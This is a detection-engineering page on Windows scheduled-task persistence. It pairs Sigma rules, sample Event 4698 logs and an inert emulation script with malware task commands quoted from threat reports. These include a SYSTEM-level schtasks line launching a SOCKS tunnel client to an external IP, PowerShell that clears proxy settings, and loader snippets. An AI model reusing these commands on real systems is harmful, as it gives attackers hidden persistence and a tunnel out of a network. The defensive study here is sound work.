Attack Chokepoints 3 invariant stages
Applying the chokepoint framework to Scheduled Task Registration. Learn the framework →
- Task name, trigger, principal, and action command
- Whether registration uses schtasks.exe, PowerShell ScheduledTasks cmdlets, or the Task Scheduler API
- A scheduler-managed job requires creation or modification of a task definition
- The operating system must persist the registered task and its execution context
1 Task registration request ▶
- Windows Security auditing records Event ID 4698 and forwards TaskName and TaskContent to the telemetry backend.
- Process creation, PowerShell Script Block Logging, WMI Activity, or Task Scheduler RPC telemetry
2 Task definition registration ▶
- Windows Security Event ID 4698/4702
- Microsoft-Windows-TaskScheduler/Operational
- Process creation for schtasks.exe or PowerShell ScheduledTasks cmdlets
3 Scheduler-managed execution context ▶
- Microsoft-Windows-TaskScheduler/Operational and process creation telemetry
Variations 3 variants tracked
Tools and methods that exploit this chokepoint. The list grows. The chokepoint doesn't change.
The Gentlemen WindowsConnSvc task 2026-05-21 Emerging ▶
schtasks /create /tn WindowsConnSvc /tr C:\Windows\Temp\svchost32.exe /sc minute /ru SYSTEM
- TaskName: WindowsConnSvc
- Action path: C:\Windows\Temp\svchost32.exe
Exodus RAT INetHealth task 2026-09-01 Emerging ▶
conhost.exe --headless powershell -e [Base64 blob; encoded value not published by the source]
$xbzshxel = @'
[DllImport("wininet.dll", SetLastError = true, CharSet=CharSet.Auto)]
public static extern bool InternetSetOption(IntPtr hInternet, int dwOption, IntPtr lpBuffer, int dwBufferLength);
'@
$hapiuysw = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
Set-ItemProperty -path $hapiuysw ProxyEnable -value 0 -ErrorAction Stop
Set-ItemProperty -path $hapiuysw ProxyServer -value "" -ErrorAction Stop
Set-ItemProperty -path $hapiuysw AutoConfigURL -Value "" -ErrorAction Stop
$miihtwvx = Add-Type -MemberDefinition $xbzshxel -Name syjtmthn -PassThru
$gmsqtp = $miihtwvx::InternetSetOption(0, 39, 0, 0)
$pfoguq = $miihtwvx::InternetSetOption(0, 37, 0, 0)
- TaskName: INetHealth
- Action includes conhost.exe, powershell, and a Base64-encoded argument
- Decoded behavior clears ProxyEnable, ProxyServer, and AutoConfigURL, then refreshes WinINet settings
DonutLoader IntelDriver logon task 2026-08-03 Emerging ▶
$vxvI4iCwnpqCjEX | Out-File -Encoding Unicode $BBkphUlrU4QvXFb
schtasks /create /tn $rrNLCksCzgXcVls /xml $BBkphUlrU4QvXFb /f
Set objShell = CreateObject("WScript.Shell")
objShell.Run "$BtIdr76EOPPVbmV\IJil.cmd", 0, False
- TaskName: IntelDriver
- Trigger: current-user logon
- Task action: wscript.exe C:\ProgramData\IntelDriver\IntelDriver.vbs
- Launcher target: C:\ProgramData\IntelDriver\IJil.cmd
- Task settings: InteractiveToken, LeastPrivilege, Hidden=true, StartWhenAvailable=true
Detection Strategy
Rules organized by the chokepoint stage they detect. Each stage has one or more rules at different maturity levels.
Hunt rule
Low FP
▶
EventID 4698 plus either a writable path with an interpreter/suspicious executable or the headless encoded PowerShell action shape.
title: Scheduled Task Registration With Suspicious Writable-Path Action
id: 2df740bf-24b0-4387-9169-107c2eb85184
status: experimental
description: Detects scheduled-task registration from writable paths when the definition invokes an interpreter, script host, or a source-grounded suspicious executable shape.
references:
- https://www.huntress.com/blog/the-gentlemen-ransomware-defense-evasion-ttps
- https://www.huntress.com/blog/exodus-crypto-wallet-installer-rat
- https://www.aryaka.com/docs/reports/donutloader-multi-stage-loader-report.pdf
author: '@iimp0ster'
date: 2026/09/08
tags:
- attack.persistence
- attack.t1053.005
- detection.maturity.hunt
logsource:
product: windows
service: security
detection:
selection_event:
EventID: 4698
selection_path:
TaskContent|contains:
- '\AppData\'
- '\Temp\'
- '\ProgramData\'
selection_action:
TaskContent|contains:
- 'powershell'
- 'pythonw.exe'
- 'wscript.exe'
- 'svchost32.exe'
selection_headless_powershell:
TaskContent|contains|all:
- 'conhost.exe'
- '--headless'
- 'powershell'
- '-e'
condition: selection_event and ((selection_path and selection_action) or selection_headless_powershell)
falsepositives:
- Development tooling or administrative automation that intentionally uses an interpreter from a user profile
- Developer tooling that intentionally uses conhost.exe headless mode to launch encoded PowerShell
- Software updaters or management tasks that legitimately launch script hosts from ProgramData
level: medium
Research rule
High FP
▶
EventID 4698 and TaskContent contains an AppData, Temp, or ProgramData path, or the conhost.exe --headless PowerShell encoded-command shape.
title: Scheduled Task Registration From Writable Paths
id: 02fb88c4-d939-42ce-9443-ecdd233487ad
status: experimental
description: Detects creation of a Windows scheduled task whose definition references a writable data path or invokes the source-grounded headless encoded PowerShell action shape.
references:
- https://www.huntress.com/blog/the-gentlemen-ransomware-defense-evasion-ttps
- https://www.huntress.com/blog/exodus-crypto-wallet-installer-rat
- https://www.aryaka.com/docs/reports/donutloader-multi-stage-loader-report.pdf
- https://attack.mitre.org/techniques/T1053/005/
author: '@iimp0ster'
date: 2026/09/08
tags:
- attack.persistence
- attack.t1053.005
- detection.maturity.research
logsource:
product: windows
service: security
detection:
selection_event:
EventID: 4698
selection_path:
TaskContent|contains:
- '\AppData\'
- '\Temp\'
- '\ProgramData\'
selection_headless_powershell:
TaskContent|contains|all:
- 'conhost.exe'
- '--headless'
- 'powershell'
- '-e'
condition: selection_event and (selection_path or selection_headless_powershell)
falsepositives:
- Software updaters and enterprise management tools that register tasks from writable data paths
- Developer tooling that intentionally uses conhost.exe headless mode to launch encoded PowerShell
level: low
Analyst rule
Low FP
▶
EventID 4698 and the source-specific WindowsConnSvc, INetHealth, or IntelDriver task-and-action pair.
title: Source-Grounded Suspicious Scheduled Task Registration
id: d0b55371-f727-46a8-9ff2-e6bb6d9987d8
status: experimental
description: Detects the source-grounded WindowsConnSvc, INetHealth, and IntelDriver scheduled-task shapes documented by the contributing reports.
references:
- https://www.huntress.com/blog/the-gentlemen-ransomware-defense-evasion-ttps
- https://www.huntress.com/blog/exodus-crypto-wallet-installer-rat
- https://www.aryaka.com/docs/reports/donutloader-multi-stage-loader-report.pdf
author: '@iimp0ster'
date: 2026/09/08
tags:
- attack.persistence
- attack.t1053.005
- detection.maturity.analyst
logsource:
product: windows
service: security
detection:
selection_event:
EventID: 4698
selection_gentlemen_action:
TaskContent|contains: 'C:\Windows\Temp\svchost32.exe'
selection_exodus_action:
TaskContent|contains|all:
- 'conhost.exe'
- '--headless'
- 'powershell'
- '-e'
selection_donutloader:
TaskName|contains: '\IntelDriver'
TaskContent|contains|all:
- 'wscript.exe'
- '\ProgramData\IntelDriver\IntelDriver.vbs'
condition: selection_event and (selection_gentlemen_action or selection_exodus_action or selection_donutloader)
falsepositives:
- A legitimate INetHealth task using conhost.exe headless mode to launch encoded PowerShell
- A legitimate IntelDriver task using Windows Script Host from the same ProgramData path
level: high
Prevention
Restrict who can register tasks and which binaries Task Scheduler may launch. Application control and least-privilege task-registration policy reduce abuse even when an attacker changes the task name, trigger, or registration API.
Block or constrain task actions that execute unsigned binaries and interpreters from user-writable or temporary directories.
Prevents the most common malicious task actions from progressing after registration while preserving approved scheduler use.
Limit remote administration and local principals permitted to create SYSTEM-level scheduled tasks.
Reduces the identities able to cross the task-registration boundary with elevated execution context.
Raw Log Samples 3 samples
Detection-relevant event examples. Each card identifies its evidence basis and the Sigma tiers it exercises.
EID 4698 Windows Security The Gentlemen WindowsConnSvc task — source-shaped Event 4698 fixture ResearchHuntAnalyst ▶
EventID: 4698
TaskName: \\WindowsConnSvc
TaskContent:
<Task>
<Triggers>
<CalendarTrigger>
<Repetition><Interval>PT2M</Interval></Repetition>
</CalendarTrigger>
</Triggers>
<Principals>
<Principal><UserId>SYSTEM</UserId></Principal>
</Principals>
<Actions>
<Exec>
<Command>C:\Windows\Temp\svchost32.exe</Command>
<Arguments>client 77.110.122[.]137:37182 R:1085:socks</Arguments>
</Exec>
</Actions>
</Task>
EID 4698 Windows Security Exodus RAT INetHealth task — source-shaped Event 4698 fixture ResearchHuntAnalyst ▶
EventID: 4698
TaskName: \\INetHealth
TaskContent:
<Task>
<Actions>
<Exec>
<Command>conhost.exe</Command>
<Arguments>--headless powershell -e [Base64 value not published by source]</Arguments>
</Exec>
</Actions>
</Task>
Decoded task argument published by source:
$xbzshxel = @'
[DllImport("wininet.dll", SetLastError = true, CharSet=CharSet.Auto)]
public static extern bool InternetSetOption(IntPtr hInternet, int dwOption, IntPtr lpBuffer, int dwBufferLength);
'@
$hapiuysw = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
Set-ItemProperty -path $hapiuysw ProxyEnable -value 0 -ErrorAction Stop
Set-ItemProperty -path $hapiuysw ProxyServer -value "" -ErrorAction Stop
Set-ItemProperty -path $hapiuysw AutoConfigURL -Value "" -ErrorAction Stop
$miihtwvx = Add-Type -MemberDefinition $xbzshxel -Name syjtmthn -PassThru
$gmsqtp = $miihtwvx::InternetSetOption(0, 39, 0, 0)
$pfoguq = $miihtwvx::InternetSetOption(0, 37, 0, 0)
EID 4698 Windows Security IntelDriver task creation ResearchHuntAnalyst Coverage gap ▶
EventID: 4698
TaskName: \IntelDriver
TaskContent:
<Task version="1.4">
<Triggers>
<LogonTrigger><Enabled>true</Enabled></LogonTrigger>
</Triggers>
<Principals>
<Principal><LogonType>InteractiveToken</LogonType><RunLevel>LeastPrivilege</RunLevel></Principal>
</Principals>
<Settings><StartWhenAvailable>true</StartWhenAvailable><Hidden>true</Hidden></Settings>
<Actions>
<Exec>
<Command>wscript.exe</Command>
<Arguments>"C:\ProgramData\IntelDriver\IntelDriver.vbs"</Arguments>
</Exec>
</Actions>
</Task>
Emulation
ATT&CK: T1053.005 Registers inert task definitions for the Research, Hunt, and Analyst rules. It does not start the task actions. powershell ▶
#Requires -Version 5.1
# MITRE ATT&CK: T1053.005 — Scheduled Task/Job: Scheduled Task
# Registers inert scheduled-task shapes used to validate Event 4698 collection and
# the Research, Hunt, and Analyst rules. Task actions are never started.
[CmdletBinding()]
param(
[switch]$CleanupOnly,
[ValidatePattern('^[0-9a-fA-F]{8}$')]
[string]$RunSuffix
)
Set-StrictMode -Version Latest
$ErrorActionPreference = 'Stop'
$Suffix = if ($RunSuffix) { $RunSuffix.ToLowerInvariant() } else { [Guid]::NewGuid().ToString('N').Substring(0, 8) }
$TaskNames = @(
"TIC-System-Control-$Suffix",
"TIC-AppData-Logon-$Suffix",
"TempLogA-$Suffix",
"BackupCheck-$Suffix",
"Microsoft\Windows\ApplicationData\DsSvcCleanup-$Suffix",
"WindowsConnSvc-$Suffix",
"INetHealth-$Suffix",
"IntelDriver-$Suffix"
)
function Remove-LabTasks {
foreach ($TaskName in $TaskNames) {
& "$env:SystemRoot\System32\schtasks.exe" /Delete /TN $TaskName /F 2>$null | Out-Null
}
}
if ($CleanupOnly) {
if (-not $RunSuffix) { throw '-CleanupOnly requires the eight-character RunSuffix printed by the original run.' }
Remove-LabTasks
return
}
Write-Host '=== Scheduled Task Chokepoint Emulation ===' -ForegroundColor Magenta
Write-Host 'Registers eight inert task definitions. No task action is executed.' -ForegroundColor DarkGray
Write-Host "Recovery suffix: $Suffix" -ForegroundColor DarkGray
try {
$Definitions = @(
@{
Name = $TaskNames[0]; Schedule = 'ONSTART'
Execute = "$env:SystemRoot\System32\wevtutil.exe"; Arguments = 'gli System /c:1'
},
@{
Name = $TaskNames[1]; Schedule = 'ONLOGON'
Execute = "$env:APPDATA\TIC\updater.exe"; Arguments = '--check'
},
@{
Name = $TaskNames[2]; Schedule = 'DAILY'; Start = '13:00'
Execute = "$env:APPDATA\WPy64-31401\python\pythonw.exe"; Arguments = 'internal.py'
},
@{
Name = $TaskNames[3]; Schedule = 'ONLOGON'
Execute = "$env:APPDATA\2FAGuard\setup.exe"; Arguments = 'doit'
},
@{
Name = $TaskNames[4]; Schedule = 'MINUTE'; Modifier = '11'
Execute = "$env:SystemRoot\System32\wscript.exe"; Arguments = "$env:TEMP\TIC\payload.vbs //b //e:vbscript"
},
@{
Name = $TaskNames[5]; Schedule = 'MINUTE'; Modifier = '2'
Execute = "$env:SystemRoot\Temp\svchost32.exe"; Arguments = 'client 77.110.122[.]137:37182 R:1085:socks'
},
@{
Name = $TaskNames[6]; Schedule = 'MINUTE'; Modifier = '60'
Execute = "$env:SystemRoot\System32\conhost.exe"; Arguments = '--headless powershell -e VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAEkATgBlAHQASABlAGEAbAB0AGgAJwA='
},
@{
Name = $TaskNames[7]; Schedule = 'ONLOGON'
Execute = "$env:SystemRoot\System32\wscript.exe"; Arguments = "`"$env:ProgramData\IntelDriver\IntelDriver.vbs`""
}
)
$DisabledSettings = New-ScheduledTaskSettingsSet -Disable
$SystemPrincipal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest
foreach ($Definition in $Definitions) {
$Action = New-ScheduledTaskAction -Execute $Definition.Execute -Argument $Definition.Arguments
$Trigger = switch ($Definition.Schedule) {
'ONSTART' { New-ScheduledTaskTrigger -AtStartup }
'ONLOGON' { New-ScheduledTaskTrigger -AtLogOn }
'DAILY' { New-ScheduledTaskTrigger -Daily -At $Definition.Start }
'MINUTE' {
New-ScheduledTaskTrigger -Once -At (Get-Date).AddDays(1) `
-RepetitionInterval (New-TimeSpan -Minutes ([int]$Definition.Modifier))
}
}
$TaskPath = '\'
$TaskName = $Definition.Name
$Separator = $Definition.Name.LastIndexOf('\')
if ($Separator -ge 0) {
$TaskPath = "\$($Definition.Name.Substring(0, $Separator))\"
$TaskName = $Definition.Name.Substring($Separator + 1)
}
$Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Settings $DisabledSettings -Principal $SystemPrincipal
Register-ScheduledTask -TaskName $TaskName -TaskPath $TaskPath -InputObject $Task -Force | Out-Null
$Registered = Get-ScheduledTask -TaskName $TaskName -TaskPath $TaskPath
if ($Registered.State -ne 'Disabled') { throw "Inert task $($Definition.Name) was not disabled at registration" }
}
Write-Host 'Eight task-registration events generated for collection.' -ForegroundColor Green
Write-Host 'Expected telemetry: Windows Security Event ID 4698.' -ForegroundColor DarkCyan
}
finally {
Remove-LabTasks
Write-Host 'Lab task definitions removed.' -ForegroundColor Green
}
OSINT Pivots
"WindowsConnSvc" "svchost32.exe"
behaviour_processes:"schtasks.exe" behaviour_command_line:"WindowsConnSvc"